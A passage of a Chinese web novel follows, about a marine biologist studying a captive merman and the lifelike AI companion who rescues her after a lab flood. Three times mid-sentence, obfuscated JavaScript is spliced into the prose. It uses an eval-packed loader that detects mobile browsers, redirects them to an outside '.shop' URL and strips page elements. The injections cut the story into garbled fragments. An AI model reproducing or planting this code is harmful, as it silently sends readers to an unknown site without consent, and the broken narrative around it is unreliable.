《定制男友测试指南》 1. 囚影 实验室仪器的滴答声在深夜里格外清晰,像是某种倒数计时。 许烟瓷站在三米高的强化玻璃缸前,指尖抵着冰冷的玻璃,寒意渗进皮肤。她已经在这里站了二十分钟,观察缸中那个“特殊样本”。 人鱼悬浮在水中央,深蓝色长发如海藻般散开,遮住了半张脸。但许烟瓷的目光锁定在他胸膛。那道从锁骨斜至肋下的撕裂伤,七天了,依然在缓慢渗血。 淡红色的血雾在水中晕开,又被循环系统过滤带走,周而复始。 “愈合速度只有预期的三分之一。”她低声自语,记录板上的数据让她不安。 按照《深海异种生物学》的记载,这种生物的再生能力应该是人类的七倍。这种伤口,三天就该结痂,五天后只留浅痕。 可已经七天了。 仪器忽然发出一声尖锐鸣响。 许烟瓷猛地抬头! 人鱼不知何时睁开了眼。那双眼睛是纯粹的幽蓝,像两潭深不见底的海水。此刻,那两潭海水正静静地倒映着她略微惊慌的脸。 空气骤然凝固。 她强迫自己站在原地。作为研究所最年轻的海洋异种生物首席检测师,她见过三十七种稀有生物,解剖过十二具异种尸体,从没怕过。 但此刻,后背渗出了冷汗。 那不是野兽的注视。那眼神里有某种……近乎人类的东西。审视,评估,甚至有一丝极难察觉的…… 讥诮? “他的伤为什么不愈合?”她开口,声音在寂静中显得突兀。 人鱼没有反应。也许根本听不懂。 可下一秒,他的尾鳍轻轻摆动。银蓝色的鳞片折射灯光,从深蓝渐变为近乎透明的银白,美得不似人间之物。尾鳍边缘的半透明薄膜舒展,然后…… 轻轻贴在了玻璃内侧。 正对着她指尖抵住的位置。 隔着二十厘米厚的强化玻璃,一次不可能被感知的“触碰”。 许烟瓷的呼吸停滞了一瞬。 “许工,还不走?”值夜班的小陈推开门,“又盯着你的鱼?说真的,这玩意儿怪瘆人的……” “马上。”她应道,再转头时,人鱼已经重新闭眼。 仿佛一切都是幻觉。 可当她走出实验室,透过观察窗回望。 那条尾巴依然贴在玻璃上,保持着方才的姿态。 像是标记。 像是警告。 --- 手机在口袋里震动第三遍时,许烟瓷才不耐烦地掏出来。屏幕上“母上大人”四个字让她深吸一口气,方才接通。 “你到底在哪?!人家张先生已经等了四十五分钟了!四十五分钟!”母亲的声音几乎要震破听筒,“许烟瓷,我警告你,今天要是再敢放鸽子,我就——” “妈,我在加班。”她打断,把手机拿远了些,“真的有急事。” “什么紧急?又是你那些鱼?!鱼比你终身大事还重要?!” 是“人鱼”。而且可能是人类历史上首个活体样本。 但她没说出口,只是疲惫地揉了揉眉心:“地址发我,现在过去。” “早发你了!赶紧的!” 电话挂断。许烟瓷靠在驾驶座上,揉了揉眉心。车载时钟显示晚上八点十七分,她已经连续工作了十二个小时,此刻只想回家倒头就睡。 而不是去见什么“千挑万选的青年才俊”。 她点开母亲发来的地址,启动车子。引擎低吼着驶出研究所地下车库时,她脑子里还盘旋着实验室里的画面:那双幽蓝色的眼睛,缓慢愈合的伤口,以及尾鳍贴在玻璃上的诡异姿态。 为什么愈合那么慢? 他在等待什么? 还是说……他在控制愈合速度? 这个念头让她背脊一阵发凉。如果真是这样,那意味着他们对这种生物的认知存在着根本性的错误。人鱼不是智力低下的海洋哺乳动物变种,而是…… 手机导航的提示音打断了她的思绪。餐厅到了。 靠窗的位置,一个穿着浅灰色西装的男人正在看表,手指敲击桌面的频率暴露了他的烦躁。 许烟瓷在门口对照了一下王姨发来的照片:微秃的额头,刻意梳到一边试图掩盖发际线的头发,过分灿烂的笑容。 确认无误后,她调整了一下表情,走了过去。 “张先生?抱歉,工作耽搁了。” 男人抬头,脸上的怒意在看到她的一瞬间迅速溶解,转换成一种过于热切的笑容:“许小姐比照片上漂亮多了!等一等也是值得的。” 他起身想为她拉椅子,许烟瓷已经自己坐下了。 接下来的半小时是一场缓慢的折磨。 张明伟端起红酒杯,刻意让腕表表盘反射灯光:“许小姐知道‘蓝湾国际’吗?我在那儿有套两百平的江景房。不过主要住‘云顶别墅’,空气好,就是离市区远了点。哦对了,城东还有套学区房,虽然小,但地段金贵!我这人讲究分散投资,鸡蛋不能放一个篮子里嘛。” 话不投机,许烟瓷半分对话的欲望都没有。抬手用叉子卷着冷掉的意面,目光落在餐厅角落的鱼缸上。 “去年行情一般,”他见她没反应,音量提高了几分,“我那几个私募也就赚了28%。不过胜在稳健,你不懂金融可能不知道,这年化收益超过20%已经很不错了。” 意面在叉子上滑落,溅起一点酱汁。 “哎呀,”张明伟立刻抽了张纸巾递过来,手指“不经意”擦过她的手背,“女孩子吃东西就是秀气。” “我自己擦就好。”许烟瓷淡漠抽回手,纸巾掉在桌上。 他上下打量她,像在评估商品:“我看你相貌气质都挺好,就是年纪也不小了吧?二十七?这在我们男人眼里可是黄金年龄,在女人这儿就……啧。不过没关系,我这个人不看重这些虚的。” “张先生,年纪也不小了吧,男人的年龄虽然不是第一位,但是太大了也会影响综合竞争力!”许烟瓷的叉子轻轻搁在盘边,发出清脆的磕碰声。 比起实验室里那条沉默的人鱼,眼前这个喋喋不休的男人简直像某种噪音发生器,人鱼至少安静。 “许小姐是做海洋研究的?”张明伟尴尬地抿了一口红酒,转移话题,“这行挺冷门的吧?收入怎么样?” “够用。”她简短地回答。 “女孩子嘛,不用那么拼。以后结婚了,我建议你转个文职,清闲。”他身体前倾,压低声音,“说实话,我前女友就是太要强,非要搞什么事业,最后感情都搞没了。女人啊,还是得以家庭为重。” 许烟瓷的手机在桌上震动了一下。 闺蜜林薇发来消息:“还活着吗?” 她垂下眼快速打字:“勉强。这人眼睛有问题,左右眼各看各的,我怀疑它们彼此不认识。” “笑死。再坚持一下,有惊喜马上到!” 惊喜?现在能有什么惊喜比立刻结束这场相亲更值得期待? 她正想着如何礼貌地提前离场,一个声音从身后传来。 清朗,温润,带着某种不真实的纯净感,像春夜初融的雪水: “烟瓷,我终于找到你了。” 许烟瓷和张明伟同时转头。 站在桌边的男人穿着简单的白色衬衫和深灰色长裤,身姿挺拔得像是从什么礼仪教科书里走出来的模板。 但他的脸……那张脸太过完美了,眉骨到鼻梁的线条像是用最精密的仪器测量后雕刻而成,睫毛长得过分,在餐厅暖黄的灯光下投下浅淡的阴影。 最特别的是他的眼睛。浅褐色,清澈见底,里面没有一丝杂质,也没有成年人眼中常见的疲惫或算计。他就那样看着她,眼神专注得像她是这世上唯一的存在。 许烟瓷在脑中迅速检索,确定自己从未见过这个人。 “我来接你回家。”他说。 张明伟的脸僵住:“你是谁?” “听澜。烟瓷的伴侣。”男人微笑,转向张明伟,“抱歉,耽误您时间了。” 张明伟的脸僵住了:“伴侣?许小姐,你这是什么意思?你有男朋友还来相亲?” “抱歉,张先生。”听澜转向他,笑容未变,语气却平直得像在宣读天气预报,“烟瓷今天的日程安排里没有与您会面。” 每个字都礼貌,但组合在一起却像一堵无形的墙,将对方彻底隔绝在外。 张明伟的脸色由红转青,猛地站起来:“耍人玩是吧?行,我跟媒人说去!” 他抓起外套,椅子在地板上刮出刺耳的声音,然后头也不回地冲出了餐厅。 许烟瓷看着那个气冲冲的背影消失在门外,才缓缓转回头,重新打量眼前的男人。 听澜。这个名字有点耳熟。 然后她想起来了。 昨晚她确实收到了一份特殊“礼物”,未来科技公司送来的AI男友测试品,代号“听澜”。她当时累得不行,只完成了基础激活和参数设定就睡了,根本没仔细看过他的样貌。 “你是那个AI?”她压低声音问。 “目前版本为听澜1.0,您的专属伴侣型人工智能。”听澜在她对面坐下,动作流畅自然,完全没有机械的顿挫感,“检测到您今日日程中有一项‘非自愿社交活动’,根据协议条款第4.2条,在您面临不适情境时,我有权介入协助。” 许烟瓷愣了几秒。那份冗长的用户协议她确实没细看,但隐约记得有这么一条。 “所以你就这么出现,还说是我伴侣?” “这是当前社交情境下最高效的身份解释。”听澜的视线落在她几乎没动的餐盘上,“您没有吃晚餐。根据您的健康数据,过去六小时您只摄入了一杯咖啡和一片面包,建议补充优质蛋白和蔬菜。需要我为您重新点餐吗?” “不用。”许烟瓷抓起包和外套,“回家。” 车上,她侧头看着窗外。霓虹灯流成彩色线条。 听澜开车精确得像机器:提前三秒打灯,五十米外减速,等红灯时车距永远保持两米。 “你的驾驶数据哪来的?”她问。 “内置交通法规库和实时学习模块。”他目视前方,“如果您有偏好,我可以调整。” “不用。” 沉默弥漫。许烟瓷用余光观察他——侧脸线条,喉结滑动,所有细节都真实得可怕。除了那恒定37度的体温。 活人的体温会波动。 他没有。 “你在看我。”听澜忽然说,没有转头。 许烟瓷收回视线:“我只是在想,你们公司这次做得太逼真了。” “您喜欢吗?” “什么?” “我的外观和基础交互模式。如果您不满意,可以申请修改,我还有其他预设面容和112种性格模板可供切换。” 许烟瓷顿了顿:“……现在这样就很好。” “好的。”听澜的声音里似乎多了一丝极难察觉的轻快,“已记录您的偏好。” 车子驶入小区地下车库。停稳后,听澜先一步下车,绕到副驾驶为她开门。动作太过自然,自然到许烟瓷下车时差点习惯性地说谢谢。 电梯里只有他们两人。镜面的轿厢壁倒映出并立的影子,她看着镜中听澜平静无波的侧脸,忽然问: “你今天是怎么判断应该介入的?” “多项指标综合评估:您的心率在会面开始后上升并持续高位,语音频率降低37%,肢体语言呈现明显防御姿态。同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277100|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对话内容分析显示对方有超过70%的言论属于‘自恋型炫耀’和‘性别刻板印象’范畴,这对您的情绪状态可能产生负面影响。”听澜转头看她,眼神专注,“我的首要任务是确保您的身心健康。” 电梯“叮”一声到达楼层。 许烟瓷莫名松了口气。和听澜待在密闭空间里,总有种被全方位扫描分析的感觉,虽然事实上可能确实如此。 进门后,听澜自然地接过她的外套挂好:“您先休息,我去准备些吃的。” 他走进厨房。许烟瓷倒在沙发上,打开手机。实验室的工作群里有几十条未读消息,最新一条是组长十分钟前发的: “人鱼样本出现异常行为:伤口愈合速度突然加快,代谢率在19:47左右急剧上升至正常水平的三倍,持续约十五分钟后恢复平静。原因不明。所有人明早提前到岗。” 发送时间:19:52。 正好是她离开实验室的时间。 许烟瓷盯着屏幕,背脊爬上一阵寒意。 伤口愈合突然加快?代谢率急剧上升? 她想起离开前,人鱼尾鳍贴在玻璃上的那个画面。想起那双幽蓝色的眼睛,以及里面一闪而过的、她以为是错觉的情绪。 然后她看向厨房。 听澜背对着她,正在切菜。暖黄的灯光落在他身上,勾勒出一圈毛茸茸的光边。围裙带子在腰间系了个整齐的蝴蝶结,衬衫袖子挽到小臂,露出线条流畅的手臂。 这一幕太温暖。 温暖到让人几乎要忘记,今晚发生的一切巧合。 人鱼的异常,相亲的烦躁,听澜的“恰到好处”的出现…… 手机又震动了一下。林薇发来消息:“惊喜怎么样?这可是我亲自设计的,而且是全球第一款最新款情感交互AI,仿真度有没有很逆天!” 许烟瓷盯着这句话看了几秒,缓缓打字:“确实很‘惊喜’。” 她放下手机,走到厨房门口。听澜正在煎三文鱼,油花溅起的瞬间他微微侧身,动作流畅得像排练过无数次。 “听澜。” 他回头:“嗯?” “你今天怎么会知道我在那家餐厅?” 听澜眨了眨眼——一个极其自然的人类动作:“您母亲在下午17:23分给您发了餐厅地址和预约信息,这条信息同步到了您的云端日程。我作为您的伴侣AI,有权访问您的公共日程数据。” 合理的解释。 许烟瓷点点头,没再追问。她回到客厅,重新拿起手机,调出听澜的用户管理界面。幽蓝的屏幕光映在她脸上。 基础信息页面上,听澜的型号标注着“伴侣型AI-情感交互测试版(特殊权限)”。在页面最下方,一行红色小字格外醒目: “注意:本测试品搭载了实验性深度学习模块,可能出现非预设行为。如发现异常,请立即反馈。” 非预设行为。 她关掉平板,看向厨房。听澜正将煎好的三文鱼装盘,动作精准优雅。 夜幕轻垂。 许烟瓷洗完澡躺在床上,脑子里还在回放今天的画面。实验室里那双幽蓝的眼睛,餐厅里听澜完美的笑容,以及手机屏幕上那条关于人鱼代谢率突增的消息。 就在她即将沉入睡眠时,一丝极细微的声音钻入耳中。 嗞——嗞—— 短促,轻微,像是电流声,又像是某种高频振动。 从客房的方向传来。 许烟瓷睁开眼,屏息倾听。 几秒后,声音消失了。深夜重归寂静。 她盯着黑暗中的房门轮廓,许久,才重新闭上眼。 而在那扇门后,听澜站在窗前,背对房门。窗外城市的霓虹灯光透过玻璃,在他身上投下流动的色彩。 他的右手垂在身侧,指尖有极其轻微的颤抖。 瞳孔深处,一串串蓝色的数据流飞速闪过,快得肉眼几乎无法捕捉。 【警告:情感模块负荷89%……91%……】 【今日行为偏离基准线:社交介入强度超标42%】 【执行协议:三级电击矫正,持续时间0.8秒】 身体的颤抖停止了。 听澜缓缓抬头,看向窗外。视线穿透夜色,望向城市另一端的研究所方向。 那里,巨大水缸中,另一双幽蓝眼睛也许正望向同一片夜空。 他抬手,指尖轻触冰冷玻璃。 唇无声翕动,像在说某个词。 然后转身,以标准僵直的姿势躺下,闭眼。 客房陷入黑暗。 只有他耳后隐蔽接口处,一点微弱的蓝光规律闪烁了三下。 像呼应。 像密码。 然后彻底熄灭。 城市另一端的研究所内,墙上的钟表指向三点。 巨大水缸中,人鱼睁开了眼。 幽蓝瞳孔在黑暗中泛着微光。 他抬起手,掌心贴在玻璃上……是白天许烟瓷站立过的位置。 然后,缓慢地,扯出一个极淡的弧度。 像是在笑。 接着,他张开嘴。 没有声音发出。 但水箱外的监测仪器屏幕上,声波图谱突然疯狂跳动! 一段人类听不见、但仪器能捕捉的高频信号,正以特定频率持续发送。 方向直指城市西南角。 许烟瓷家的方向。 而在同一时刻,客房床上,本应处于休眠状态的听澜,眼皮下的眼球开始急速转动。 耳后接口处,蓝光再次微弱亮起。 一闪,一闪。 听澜忽然睁眼,目光凝视着信号传来的方向,愤然道:“你……休想!” 2. 异兆 清晨六点,实验室的自动照明系统刚刚启动,惨白的光线一层层漫过走廊。 许烟瓷刷卡进门时,鼻腔里立刻充满了消毒水和海盐混合的味道。她习惯性地看向观察窗——三米高的强化玻璃缸里,那条人鱼背对着外面,深蓝色的长发像水草一样铺散在水中,随着循环水系统产生的水流缓慢飘动。 他保持这个姿势已经三天了。 自从上周代谢率异常事件后,他就变得异常安静。不再有那些微妙的互动,不再用尾鳍轻触玻璃,甚至很少正眼看外面的人。监测数据显示一切正常——过于正常,正常到让人不安。 “早。”同事小陈打着哈欠进来,手里拎着两杯咖啡,“你的。” “谢谢。”许烟瓷接过咖啡,视线没离开观察窗。 “还在看他?”小陈顺着她的目光看去,“说真的,我觉得他好像在……闹脾气?” 这个说法让许烟瓷愣了一下。闹脾气?一条人鱼? 但她没法否认,那种背对所有人的姿态,确实像极了某种沉默的抗议。 “伤口愈合速度又慢了。”她调出数据,“比正常值低了40%。” “故意的?”小陈压低声音,“你说,他是不是能控制自己的身体机能?” “也许吧……”她想起那双幽蓝色的眼睛里一闪而过的嘲讽,想起尾鳍贴在玻璃上的精准触碰。有些答案,她其实已经知道了,只是不敢承认。 口袋里的手机震动了一下。许烟瓷打开看到是赵主任的秘书发来消息,“有要事商议”,是让她立刻去一趟办公室。 许烟瓷盯着那行字看了三秒,从实验服口袋里摸出一支口红大小的金属管,确认指示灯是绿色的,然后回了个“收到”。 敲门,等待,推门进去。赵主任正背对着她整理书架,听到声音转过身,脸上立刻堆起笑容:“小许来了,坐。” “主任,您找我什么事?”许烟瓷站在门口,手插在口袋里。 “别这么紧张。”他走过来,试图揽她的肩,“就是想关心关心你的工作进展,最近人鱼项目挺辛苦吧?” 许烟瓷后退一步,恰好退到办公桌和书架形成的夹角处:“如果是工作上的事,可以在组会上讨论。” 赵主任的笑容淡了些:“小许,你这个人就是太较真。职场上,人际关系有时候比工作能力更重要。你看你,条件这么好,要是懂得……” 他的手又伸过来,这次直接按在她肩膀上,手指若有若无地摩挲着她的肩线。 “主任,”许烟瓷的声音很平静,“您知道海洋生物研究所的走廊监控,音频采集范围是多少吗?” 赵主任的手顿了一下:“什么?” “有效半径十五米,定向收音。”许烟瓷继续说,手在口袋里握紧了那支金属管,“从您办公室门口到楼梯口,一共是十二米。也就是说,如果我现在大喊一声,监控室的保安能在三十秒内赶到。” 赵主任的脸色沉了下来:“你威胁我?” “我在陈述事实。”许烟瓷看着他,“还有,您知道我为什么一直把手放在口袋里吗?” 她慢慢抽出手,那支金属管在灯光下泛着冷光。 “微型录音笔,军工级,防水防磁,连续录音七十二小时。”她按下播放键,刚才的对话清晰地传出来:“就是想关心关心你的工作进展……” 赵主任的脸瞬间煞白。 “现在,”许烟瓷关掉录音,将金属管放回口袋,“我们可以重新讨论工作了吗?或者,您更希望我把这份录音送到纪检组?” 办公室死一般的寂静。 赵主任盯着她,眼神从震惊到愤怒,最后变成一种压抑的阴沉:“好!很好。许烟瓷,我小看你了。” “很多人都小看我了。”她微微一笑,“现在,我可以回去工作了吗?” “走!” 许烟瓷转身离开。在关上门的那一刻,她听见身后传来东西被砸碎的巨响。 她靠在走廊墙壁上,深吸一口气,才发现自己的手在微微发抖。 那支金属管其实只是普通的电子笔,录音功能早在上个月就坏了。但她赌赵主任不敢赌。 现在看来,她赌赢了。 回到实验室,里面的气氛似乎更奇怪了。 人鱼还是背对着外面,但监测屏上的数据在剧烈波动。心跳速率忽高忽低,体温在半小时内下降了整整两度,伤口监测显示:伤口正在重新裂开。 “怎么回事?”李博士盯着屏幕,“没有任何外部刺激,为什么伤口会恶化?” “他故意的。”许烟瓷突然说。 所有人都看向她。 “他是故意的。”她重复道,声音很轻但很肯定,“他在控制自己的愈合速度,或者说……他在让自己恶化。” 小陈倒吸一口冷气:“为什么?” 许烟瓷没有回答。她看向观察窗,人鱼依然背对着他们,但那深蓝色的长发在水中飘动的节奏变了——变得急促,带着某种焦躁。 “需要进去处理伤口。”李博士做出决定,“谁去?” 没人说话。那条人鱼最近表现出的“智能”让所有人都心生警惕。他不再是单纯的实验样本,而是一个有着未知意图的生物。 “我去。”许烟瓷说。 “烟瓷……” “上次就是我处理的,他对我有印象。”她已经开始准备防护装备,“而且,我想知道他到底想干什么。” 李博士犹豫了几秒,最终点头:“小陈,你在外面随时准备应急。其他人,退到安全线后。” 穿上厚重的防护服,戴上氧气面罩,许烟瓷从顶部的检修口进入缸外的操作平台。人鱼被特制的束具固定在水中的医疗床上,只露出胸口以上的部分。 水下的世界很安静,只能听见自己呼吸的声音和氧气面罩里气流的嘶嘶声。 她慢慢靠近。 人鱼闭着眼睛,脸色苍白得可怕。胸口的伤口确实裂开了,新鲜的血液像红色的雾一样在水中缓慢散开。他的呼吸很微弱,胸膛几乎看不出起伏。 看起来真的像快死了。 许烟瓷拿起水下专用的清创工具,靠近伤口。她的动作很轻,先用消毒液冲洗创面,然后小心地清除那些坏死的组织。 人鱼没有反应,连睫毛都没有颤动。 她继续操作,专注得几乎忘了时间。直到她需要更换工具,转身去拿器械盘时…… 一只手突然抓住了她的手腕。 许烟瓷浑身一僵。 那只手冰冷有力,手指修长但指节分明,完全不像虚弱之人的手。她缓缓转过头,对上了一双睁开的眼睛。 幽蓝色的,深不见底的,清醒无比的眼睛。 人鱼在看着她,眼神里没有任何濒死的涣散,只有一种冰冷到近乎审视的专注。 然后他动了。 不是剧烈的动作,而是迅速抬手,直接扯掉了她的氧气面罩。 面罩从她脸上脱落,气管瞬间被海水灌入。 窒息感来得如此猛烈,许烟瓷甚至来不及反应。她本能地挣扎,想往水面游,但人鱼的手像铁箍一样攥着她的手腕,将她牢牢固定在原地。 他在水下看着她挣扎。 隔着翻腾的水花和散乱的气泡,许烟瓷看见他的脸。那张苍白又完美的脸上没有任何表情,只有那双幽蓝的眼睛,冷静地注视着她的每一个痛苦的反应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277101|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他要杀了她。 这个认知像冰锥一样刺进她的大脑。可她挣脱不了,他的力量太大了。肺部的灼烧感越来越强烈,眼前开始出现黑斑,意识在迅速流失。 操作平台外,所有人都惊呆了。 “许姐的面罩被扯掉了!”小陈尖叫。 实习生盯着计时器,“掉了三十秒!” “快救人!” “不行!”李博士厉声制止,“多一个人多一份危险!现在进去只会刺激他更过激的反应!” “可是许姐她——” “等!”李博士的声音在发抖,但依旧强硬。 水下,许烟瓷的挣扎越来越弱。 她看着人鱼,看着那双深海般的眼睛。突然觉得荒谬,她被关在防护服里,他被关在玻璃缸里。看似她在外面,他在里面,可其实有什么区别? 实验室是她的鱼缸,数据是她的水,那些期待和规则是她的玻璃壁。 她也在缸里。 眼泪从眼角滑出,瞬间融入海水,消失不见。 人鱼的瞳孔突然收缩了一下。 他看到了那滴眼泪。 下一秒,他的鱼尾猛地扬起——不是抽向她,而是狠狠砸向玻璃缸壁! 第一次抽击,玻璃表面出现了蛛网般的裂纹。 “警报!警报!” 第二次抽击,裂纹扩散到整个缸体。 “危险,危险!全体注意,迅速撤离!” 第三次—— 哗啦! 五吨海水从裂口倾泻而出,瞬间淹没了操作平台,冲破了实验室的隔离门。许烟瓷被狂暴的水流卷起,抛向空中,又重重摔落。 但预期的撞击没有到来。 一双手接住了她。 人鱼抱着她,用身体挡住了飞溅的玻璃碎片。水流还在奔涌,实验室瞬间变成一片汪洋,所有人在齐腰深的水中挣扎、尖叫。 “关闭主阀门!快!” “电源!切断电源!” 混乱中,许烟瓷剧烈地咳嗽,咸涩的海水从口鼻中呛出。她睁开眼,发现自己被人鱼托在水面上。他的手臂环着她的腰,让她能够呼吸。 她还活着。 这个认知让她几乎哭出来。她大口大口地喘着气,贪婪地呼吸着空气,肺部的灼痛渐渐缓解。 然后她抬头,看向他。 人鱼也在看着她。 水珠顺着他深蓝色的长发滴落,滑过他苍白的脸颊。他的眼神很复杂,不再是刚才那种冰冷的审视,而是……同情? 许烟瓷愣住了。 他为什么会同情她?他刚才明明想溺死她。 人鱼抬起另一只手,用指尖轻轻碰了碰她湿透的脸颊,那里还有泪痕。他的动作很轻,近乎温柔。 然后他张了张嘴,像是想说什么,但最终只发出一串模糊的气泡音。 实验室外,听澜正以最快的速度奔跑。 他的核心处理器在疯狂报警,监测数据显示许烟瓷的生命体征在三十七秒前出现剧烈波动——心率骤降,血氧饱和度跌破安全值,持续十九秒后突然恢复,但随即又检测到巨大的压力冲击和环境巨变。 【警告:用户生命受到威胁】 【警告:环境安全指数降至17%】 【执行协议:立即前往用户所在地】 【情感抑制系统:强制关闭】 他奔跑的速度远超人类极限,走廊的监控摄像头只捕捉到一道模糊的白影。胸腔里,那个恒温37度的地方正在发烫——不是数据模拟,而是一种陌生的灼烧感。 他顾不得那些。 只知道,她有危险。 而他必须赶到她身边。 3. 本能 实验室的警报声尖锐得像要刺破耳膜。 “压力阀失灵!玻璃承压值超过临界点!” “关不上!隔离门关不上!” 海水从破裂的观察窗汹涌而入,瞬间淹没了半个实验室。许烟瓷被水流冲得撞在操作台上,肋骨处传来剧痛。 她挣扎着想要站起,却看见让她血液凝固的一幕。 主控台前,李博士的手按在紧急隔离按钮上,但迟迟没有按下去。他的脸在应急灯的红光下忽明忽暗,眼神里有挣扎,但更多的是……算计。 “博士!”许烟瓷嘶声喊道,“关门!快关门!” 小陈冲过来想拉她,却被另一个研究员死死拽住:“来不及了!水压太大了,门关不上!” “那就手动关闭!”小陈挣扎,“烟瓷还在里面!” “太危险了!”李博士终于开口,声音冷得像冰,“隔离程序已经启动,现在关门会把主排水管一起切断。整个A区的实验样本都会受损。” 许烟瓷听懂了他的潜台词。 比起她一个人的命,那些珍贵的研究样本更重要。 海水已经没到胸口。她看见同事们陆续退到安全线后,看见小陈被人强行拖走,看见李博士最后看了她一眼,然后…… 按下了全区域封锁按钮。 厚重的合金隔离门开始缓缓下降,发出沉闷的机械轰鸣。那是死亡倒计时的声音。 “不……”许烟瓷想要冲过去,但人鱼的尾巴从水中猛地扬起,缠住了她的腰。 不是攻击,是禁锢。 他把她拉回身边,深蓝色的长发在水面散开,像一张网。他的脸离她很近,近到能看清他瞳孔里自己的倒影……是惊恐,是绝望,是心如死灰。 “他们不要你了。”人鱼开口,声音沙哑但清晰,每个字都像刀子,“和我一样。” 隔离门落下最后十厘米。透过那道逐渐缩小的缝隙,许烟瓷看见听澜冲进外走廊。 他跑得很快,白衬衫被风吹得鼓起。但他的方向不是主控室,而是—— 直冲向隔离门。 “听澜!别过来!”她尖叫。 太迟了。 门轰然关闭,将内外彻底隔绝。最后一瞬,她看见听澜的手按在门外的观察窗上,看见他脸上第一次出现了惶恐的表情。 然后,一片黑暗。 只有应急灯还在闪烁,将海水染成血色。 水还在上涨,已经没到脖子。许烟瓷挣扎着想要浮出水面,但人鱼的手臂像铁箍一样环着她。他的脸埋在她颈侧,呼吸喷在皮肤上,温热得可怕。 “放开我……”她声音发抖。 “为什么?”人鱼抬起头,幽蓝的眼睛在昏暗的光线下闪着诡异的光,“他们放弃了你。和我一起沉下去不好吗?深海很安静,没有背叛,没有抛弃。” 他的声音里有一种扭曲的温柔,像海妖的歌声,要把她拖入深渊。 许烟瓷的肺部开始灼痛。缺氧让眼前出现黑斑,意识在迅速流失。她想起很多事:想起母亲说“女孩子不要太拼”,想起赵主任油腻的手,想起李博士按下按钮时冰冷的眼神。 也许人鱼是对的。 也许沉下去,就解脱了。 就在她快要放弃挣扎时,隔离门的方向传来一声巨响。 不是爆炸,而是某种巨大的力量撞击金属的声音。 咚! 整个门框都在震动。 咚! 第二次撞击,合金门板上出现了一个微小的凸起。 咚! 第三次,凸起更明显了。 人鱼的手臂收紧,眼神警惕地看向门口:“什么东西?” 许烟瓷不知道。但她心里燃起一丝微弱的希望。 还有人没有放弃她! 第四次撞击时,门板终于撕裂。 不是打开,是硬生生被撕开一个缺口。 海水从缺口处涌出,压力差让水流形成漩涡。许烟瓷被卷向缺口,人鱼想要拉住她,但另一只手从缺口中伸了进来。 那只手精准地抓住她的手腕,然后用力—— 将她整个人从水中拖了出去。 许烟瓷摔在走廊干燥的地面上,剧烈地咳嗽,咸涩的海水从口鼻中呛出。她睁开被水刺痛的眼睛,看见听澜跪在她身边。 他的右手,因刚刚撕开合金门,正在不正常地颤抖。小臂的拟真皮肤有多处破损,露出下面银灰色的金属骨架和闪烁的电路。但他不在乎,他的眼睛死死盯着她,瞳孔深处蓝色的数据流疯狂闪烁。 【警告:右臂动力系统过载】 【警告:结构完整性下降至41%】 【警告:液态介质侵入加剧】 “听……听澜……”她伸手想碰他。 “别动。”他的声音嘶哑,带着明显的机械杂音,“我先带你离开。” 他想要抱起她,但右臂突然失去力量,整个人踉跄了一下。许烟瓷这才看见,他的右臂关节处有蓝色的液体在渗出。 不是血,是冷却液。 “你的手!” “临时故障。”听澜用左手撑地,试图重新站起来,但右臂已经完全不听使唤。 走廊另一端传来脚步声。李博士带着人赶过来,看见被撕裂的隔离门时,所有人都愣住了。 “这是……怎么做到的?”一个研究员喃喃道。 听澜没有理会他们。他用还能动的左手扶着墙,一点点站起来,然后看向李博士:“她需要医疗援助。” 他的语气很平静,但眼神里有某种东西让李博士下意识后退了一步。 “当、当然。”李博士示意医护人员上前。 许烟瓷被抬上担架时,回头看了一眼实验室。透过撕裂的门,她看见人鱼还站在齐胸深的水中,正静静地看着她。 他的眼神很复杂,有愤怒,有不甘,还有一丝……她读不懂的东西。 然后他转身,潜入水中,消失在黑暗里。 --- 接下来的三天,研究所一片狼藉。 A区实验室全毁,修复预计需要至少一个月。那条人鱼彻底消失了,监控只拍到他从排水系统离开的画面。搜索队找了两天,一无所获。 而李博士对外的解释是:“实验事故导致隔离系统故障,许研究员不幸被困,所幸及时获救。” 只字不提他按下封锁按钮的瞬间。 许烟瓷躺在病床上,看着天花板。肋骨骨折,肺部感染,还有多处擦伤。但身体上的痛比不上心里的冷。 她差点被朝夕相处的同事放弃。 第四天早晨,医生终于允许她出院回家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277102|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听澜来接她时右臂已经修复了,至少外表看起来完好如初。但他走路时有种极细微的不协调感,像是系统还在进行最后的校准。 “你的手真的没事了?”上车后,许烟瓷问。 “修复完成度90%,不影响基本功能。”听澜转动方向盘,动作确实流畅,“您不用担心。” “没有担心。”她习惯性反驳,然后意识到这个对话似曾相识。 听澜的嘴角很轻微地上扬了一下。 